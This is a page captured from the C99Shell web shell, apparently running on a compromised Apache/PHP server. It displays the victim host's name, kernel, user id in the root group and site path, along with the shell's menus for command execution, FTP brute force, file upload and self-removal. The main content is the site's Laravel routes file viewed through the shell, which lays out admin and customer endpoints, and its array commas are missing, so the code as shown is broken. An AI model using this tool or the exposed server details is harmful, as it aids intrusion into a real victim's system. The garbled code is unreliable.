!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/routes/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     web.php (15.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
//Route::get('/','FrontController@home')->name('home');
Route::get('/', ['uses' => 'FrontController@index''as' => 'front.index']);
Route::get('/terms-and-condition', ['uses' => 'FrontController@termsAndCondition''as' => 'front.terms']);
Route::get('/privacy-and-policy', ['uses' => 'FrontController@privacyAndPolicy''as' => 'front.privacy']);
Route::post('/customer/contact/store', ['uses' => 'FrontController@customer_contact_store''as' => 'front.customer.contact.store']);
Route::post('/subscribe/store', ['uses' => 'FrontController@subscribe''as' => 'front.subscribe.store']);
//#region admin route
Route::group(['as' => 'admin.''prefix' => 'admin'], function () {

    
Route::group(['middleware' => 'guest'], function () {
        
Route::get('/login', ['uses' => 'Auth\AdminLoginController@index''as' => 'login']);
        
Route::post('/login', ['uses' => 'Auth\AdminLoginController@authenticate''as' => 'authenticate']);

        
Route::get('/password/reset', ['uses' => 'Auth\ForgotPasswordController@showLinkRequestFormAdmin''as' => 'password.request']);
        
Route::post('/password/email''Auth\ForgotPasswordController@sendResetLinkEmailAdmin')->name('password.email');
    });

    
Route::group(['middleware' => 'auth'], function () {
        
Route::get('/logout', ['uses' => 'Auth\AdminLoginController@logout''as' => 'logout']);

        
Route::group(['namespace' => 'Admin'], function () {
            
Route::get('/dashboard', ['uses' => 'DashboardController@index''as' => 'dashboard']);

            
Route::resource('/customers''CustomerController');
            
Route::resource('/page''PageController');
            
Route::group(['as' => 'notice.''prefix' => 'notice'], function () {
                
Route::get('/all''NoticeController@getAll')->name('get.all');
                
Route::get('/display''NoticeController@editNotice')->name('display');
            });
            
Route::resource('/notice''NoticeController');

            
Route::group(['as' => 'theme.''prefix' => 'theme'], function () {
                
Route::get('/customize''CustomizeThemeController@theme')->name('index');
                
Route::post('/store''CustomizeThemeController@themeStore')->name('store');

            });

            
Route::group(['as' => 'template.''prefix' => 'template'], function () {
                
Route::get('/''TemplateController@index')->name('index');
                
Route::post('/store''TemplateController@store')->name('store');
            });

            
Route::group(['as' => 'subscribers.''prefix' => 'subscribers'], function () {
                
Route::get('/''SubscribeController@subscribe')->name('index');
                
Route::get('/get-all''SubscribeController@getAll')->name('get.all');
                
Route::delete('/delete''SubscribeController@destroy')->name('destroy');
            });

            
Route::group(['as' => 'messages.''prefix' => 'messages'], function () {
                
Route::get('/''SubscribeController@message')->name('index');
                
Route::get('/get-all''SubscribeController@getAllMessage')->name('get.all');
                
Route::delete('/delete''SubscribeController@delete')->name('destroy');
            });

            
Route::group(['as' => 'report.''prefix' => 'report'], function () {
                
Route::get('/order''ReportController@order_list')->name('order.list');
                
Route::get('/transaction''ReportController@transaction_list')->name('transaction.list');
                
Route::get('/all/order''ReportController@getAllOrder')->name('order.all');
                
Route::get('/all/transaction''ReportController@getAllTransaction')->name('transaction.all');
            });


            
Route::group(['as' => 'customer.''prefix' => 'customer'], function () {
                
Route::get('/all''CustomerController@getAll')->name('get.all');
                
Route::post('/login-as''CustomerController@loginAs')->name('login.ass');
                
Route::post('/mail/send''CustomerController@mailSend')->name('mail.send');
                
Route::post('/balance/update''CustomerController@balanceUpdate')->name('balance.update');
                
Route::get('/get/service/purchase''CustomerController@servicePurchase')->name('service.purchase');
                
Route::post('/custom/rate/store''CustomerController@customRateStore')->name('custom.rate.store');
            });
            
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
                
Route::get('/''SettingsController@index')->name('index');
                
Route::post('/update/profile''SettingsController@profile_update')->name('profile_update');
                
Route::post('/update/application''SettingsController@app_update')->name('app_update');
                
Route::post('/update/smtp''SettingsController@smtp_update')->name('smtp_update');
                
Route::post('/email-template/store''SettingsController@templateStore')->name('email.template.store');
                
Route::post('/update/local/setting''SettingsController@local_settings')->name('local.setting');
            });

            
Route::group(['as' => 'ticket.''prefix' => 'ticket'], function () {
                
Route::get('/''TicketController@index')->name('index');
                
Route::get('/get-all''TicketController@show')->name('get.all');
                
Route::post('/store''TicketController@store')->name('store');
                
Route::get('/reply''TicketController@reply')->name('reply');
                
Route::post('/status''TicketController@status')->name('status');
                
Route::get('/download''TicketController@documentDownload')->name('download');
            });



            
Route::group(['as' => 'page.''prefix' => 'page'], function () {
                
Route::get('/all''PageController@getAll')->name('get.all');
            });

            
//category
            
Route::get('/category/all''CategoryController@getAll')->name('category.get.all');
            
Route::post('/category/store''CategoryController@store')->name('category.store');
            
Route::post('/category/update''CategoryController@update')->name('category.update');
            
Route::get('/category''CategoryController@index')->name('category.index');
            
Route::delete('/category/delete''CategoryController@destroy')->name('category.delete');

            
//service type
            
Route::get('/service-type/all''ServiceTypeController@getAll')->name('service.type.get.all');
            
Route::post('/service-type/store''ServiceTypeController@store')->name('service.type.store');
            
Route::post('/service-type/update''ServiceTypeController@update')->name('service.type.update');
            
Route::get('/service-type''ServiceTypeController@index')->name('service.type.index');
            
Route::delete('/service-type/delete''ServiceTypeController@destroy')->name('service.type.delete');

            
Route::get('/order/request','OrderRequestController@order')->name('order.request');
            
Route::get('/order/request/get/all','OrderRequestController@getAll')->name('order.request.get.all');
            
Route::post('/order/request/status','OrderRequestController@orderStatusChange')->name('order.request.status');
            
Route::get('/order/get/service','OrderRequestController@orderService')->name('order.request.get.service');

            
//service
            
Route::get('/service/all''ServiceController@getAll')->name('service.get.all');
            
Route::post('/service/store''ServiceController@store')->name('service.store');
            
Route::post('/service/update''ServiceController@update')->name('service.update');
            
Route::get('/service''ServiceController@index')->name('service.index');
            
Route::delete('/service/delete''ServiceController@destroy')->name('service.delete');

            
//media api
            
Route::get('/provider/all''APIProviderController@getAll')->name('api.provider.get.all');
            
Route::post('/provider/store''APIProviderController@store')->name('api.provider.store');
            
Route::post('/provider/update''APIProviderController@update')->name('api.provider.update');
            
Route::get('/provider''APIProviderController@index')->name('api.provider.index');
            
Route::delete('/provider/delete''APIProviderController@destroy')->name('api.provider.delete');
            
Route::get('/provider/get/data''APIProviderController@getData')->name('api.provider.get.data');

            
//Deposit request
            
Route::get('/deposit-request','DepositRequestController@index')->name('deposit.request.index');
            
Route::get('/deposit-request/pending','DepositRequestController@pending')->name('deposit.request.pending');
            
Route::get('/deposit-request/get/all','DepositRequestController@getAll')->name('deposit.request.get.all');
             
Route::get('/deposit/pending/request/get/all','DepositRequestController@getAllPending')->name('deposit.pending.request.get.all');
            
Route::post('/deposit-request/status/change','DepositRequestController@depositRequestStatusChange')->name('deposit.request.status.change');

            
Route::get('/refund-request','RefundController@index')->name('refund.request.index');
            
Route::get('/refund-request/get/all','RefundController@getAll')->name('refund.request.get.all');
            
Route::get('/refund-request/details','RefundController@details')->name('refund.request.details');
            
Route::post('/refund-request/store','RefundController@store')->name('refund.request.store');
            
Route::post('/refund-request/status/change','RefundController@refundRequestStatusChange')->name('refund.status.change');
        });
    });

});
//#endregion


//#region customer routes

//Guest customer route
Route::group(['middleware' => 'guest'], function () {
    
Route::get('admin/password/reset''Admin\ForgotPasswordController@show_form')->name('admin.password.request');
    
Route::post('admin/password/reset''Admin\ForgotPasswordController@sent_email')->name('admin.password.sent');
    
Route::get('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_form')->name('admin.password.reset.confirm');
    
Route::post('admin/password/reset/confirm''Admin\ForgotPasswordController@reset_confirm')->name('admin.password.reset.confirm');
});

Route::group(['middleware' => 'guest:customer'], function () {
    
Route::get('/login', ['uses' => 'Auth\CustomerLoginController@index''as' => 'login']);
    
Route::post('/login', ['uses' => 'Auth\CustomerLoginController@authenticate''as' => 'authenticate']);
    
Route::post('/login/with/google', ['uses' => 'Auth\CustomerLoginController@login_with_google''as' => 'login.google']);
    
Route::get('/sign-up', ['uses' => 'Auth\CustomerLoginController@sign_up''as' => 'signup']);
    
Route::post('/sign-up', ['uses' => 'Auth\CustomerLoginController@sign_up_create''as' => 'signup']);

    
Route::get('password/reset''Auth\ForgotPasswordController@show_form')->name('password.request');
    
Route::post('password/reset''Auth\ForgotPasswordController@sent_email')->name('password.sent');
    
Route::get('password/reset/confirm''Auth\ForgotPasswordController@reset_form')->name('password.reset.confirm');
    
Route::post('password/reset/confirm''Auth\ForgotPasswordController@reset_confirm')->name('password.reset.confirm');

    
Route::get('/verify/', ['uses' => 'Auth\CustomerLoginController@verifyView''as' => 'customer.verify.view']);
    
Route::get('/verify/customer', ['uses' => 'Auth\CustomerLoginController@verify''as' => 'customer.verify']);
});

//Auth customer route
Route::group(['as' => 'customer.''middleware' => ['auth:customer''email.verify:customer']], function () {
    
Route::get('/logout', ['uses' => 'Auth\CustomerLoginController@logout''as' => 'logout']);


    
Route::group(['namespace' => 'Customer'], function () {
        
Route::get('/dashboard', ['uses' => 'DashboardController@index''as' => 'dashboard']);
        
Route::get('/download/{id}''DashboardController@fileDownload')->name('download');

        
Route::group(['as' => 'settings.''prefix' => 'settings'], function () {
            
Route::get('/index', ['uses' => 'SettingsController@index''as' => 'index']);
            
Route::post('/profile-update', ['uses' => 'SettingsController@profile_update''as' => 'profile_update']);
            
Route::post('/password-update', ['uses' => 'SettingsController@password_update''as' => 'password_update']);
        });


        
Route::group(['as' => 'ticket.''prefix' => 'ticket'], function () {
            
Route::get('/''TicketController@index')->name('index');
            
Route::post('/store''TicketController@store')->name('store');
            
Route::get('/get-all''TicketController@show')->name('get.all');
            
Route::get('/details''TicketController@details')->name('details');
            
Route::post('/reply''TicketController@reply')->name('reply');
            
Route::get('/download''TicketController@documentDownload')->name('download');
        });
        
Route::get('/order','OrderController@order')->name('order');
        
Route::post('/order/store','OrderController@store')->name('order.store');
        
Route::get('/order/get/all','OrderController@getAll')->name('order.get.all');
        
Route::get('/order/cancel','OrderController@status')->name('order.cancel');

        
Route::post('/mass/order/store','OrderController@massOrderStore')->name('mass.order.store');

        
//Deposit
        
Route::get('/deposit','DepositController@index')->name('deposit.index');
        
Route::get('/deposit/get/all','DepositController@getAll')->name('deposit.get.all');
        
//download sample
        
Route::get('/download/sample/{type}','SettingsController@downloadSample')->name('download.sample');
        
Route::group(['as' => 'report.''prefix' => 'report'], function () {
            
Route::get('/order''ReportController@order_list')->name('order.list');
            
Route::get('/transaction''ReportController@transaction_list')->name('transaction.list');
            
Route::get('/all/order''ReportController@getAllOrder')->name('order.all');
            
Route::get('/all/transaction''ReportController@getAllTransaction')->name('transaction.all');
        });

         
//authorization
        
Route::get('/developer/token/create''AuthorizationController@index')->name('authorization.token.create');
        
Route::post('/developer/token/store''AuthorizationController@store')->name('authorization.token.store');
        
//Refund
        
Route::get('/refund-request','RefundController@index')->name('refund.request.index');
        
Route::get('/refund-details','RefundController@details')->name('refund.request.details');
        
Route::post('/refund-request/store','RefundController@store')->name('refund.request.store');
        
Route::get('/refund-request/get/all','RefundController@getAll')->name('refund.request.get.all');
    });
});

//#endregion
Route::post('/verify/user','FrontController@verifyCode')->name('verify');

Route::get('/process/upgrade', ['uses' => 'UpgradeController@process''as' => 'process.upgrade']);
Route::get('/process/email', ['uses' => 'UpgradeController@processEmail''as' => 'process.email']);

//Route::redirect('/', route('login'));
Route::redirect('/admin'route('admin.login'));

Route::get('locale/{type}', [\App\Http\Controllers\Admin\DashboardController::class, 'setLocale'])->name('set.locale');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--